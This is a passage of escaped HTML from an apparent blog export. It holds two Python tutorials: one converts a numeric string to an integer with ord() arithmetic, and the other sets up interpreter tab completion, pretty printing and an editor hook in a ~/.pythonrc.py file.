style=\"color:#96D0FF\"\u003e'2'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can see that the numbers are grouped together on the ascii table, so\nyou just have to grab '0' as the base and subtract the rest:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo if we have the string '1234', we can get each of the individual\nnumbers by looping over it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_string \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e []\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_string:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list.append(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(num) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e num_list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut now how to we combine all these together to get 1234? You can't\njust add them up because you'll just get 1+2+3+4 = 10.\u003c/p\u003e\n\u003cp\u003eSo, we have to get 1000 + 200 + 30 + 4, which is a simple problem to\nsolve. Its just number times 10 to the nth power, so the final solution\nis:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003enum \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003enew_num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003ebase \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e enumerate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(num)):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_num \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(n) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e base) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ei)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_num\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis code is a little verbose though, lets make it a dirty nasty one\nliner!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e sum\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e([(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(n)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e **\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e enumerate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Development","date":"2010-10-28T00:00:00Z","tags":["Python","Interviews"],"title":"Convert a string to an integer in Python"},{"id":["old","tips_and_tricks_for_the_python_interpreter"],"path":"old/tips_and_tricks_for_the_python_interpreter","contentHtml":"\u003cp\u003eI have seen a lot of people switch over to using ipython, bpython, etc\nto get auto-complete support without realizing that the standard\ninterpreter does have this functionality.\u003c/p\u003e\n\u003cp\u003eTo enable auto-complete support in the python interpreter you need to\ncreate a python startup file that enables readline support. A python\nstartup file is just a bunch of python code that gets executed at\nstartup of the interpreter. To do this you just setup PYTHONSTARTUP in\nyour ~/.bashrc and then create a ~/.pythonrc.py file:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e#.bashrc\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003ePYTHONSTARTUP\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=~/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.pythonrc.py\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eexport \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ePYTHONSTARTUP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e#.pythonrc.py\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e readline\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ImportError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Module readline not available.\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e rlcompleter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e readline.parse_and_bind(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"tab: complete\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow when you are in python you have tab completion on importing, calling\nmethods on a module, etc.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e o\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eobject\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e( \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eoct\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e( \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e( \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e( os\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI always end up using the pretty print module for viewing long lists and\nstrings in the interpreter so I prefer to just use it by default:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Enable Pretty Printing for stdout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e pprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e my_displayhook\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(value):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eis\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e None\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e try\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e __builtin__\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e __builtin__._ \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e except\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ImportError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e __builtins__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e._ \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e pprint.pprint(value)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003esys.displayhook \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e my_displayhook\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt is also very useful to be able to load up your favorite editor to\nedit lines of code from the interpreter, you can do this by adding the\nfollowing into your ~/.pythonrc.py:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sys\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e code \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e InteractiveConsole\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tempfile \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e mkstemp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eEDITOR\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.environ.get(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'EDITOR'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'vi'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eEDIT_CMD\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\e'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e EditableBufferInteractiveConsole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eInteractiveConsole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e __init__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ekwargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.last_buffer \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] \u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e# This holds the last executed statement\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e InteractiveConsole.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e__init__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ekwargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e runsource\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self, source, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.last_buffer \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [ source.encode(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'latin-1'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e InteractiveConsole.runsource(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, source, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e raw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e InteractiveConsole.raw_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eargs)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e EDIT_CMD\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e fd, tmpfl \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e mkstemp(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'.py'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.write(fd, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.join(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.last_buffer))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.close(fd)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.system(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e%s\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e %s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e %\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eEDITOR\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, tmpfl))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan 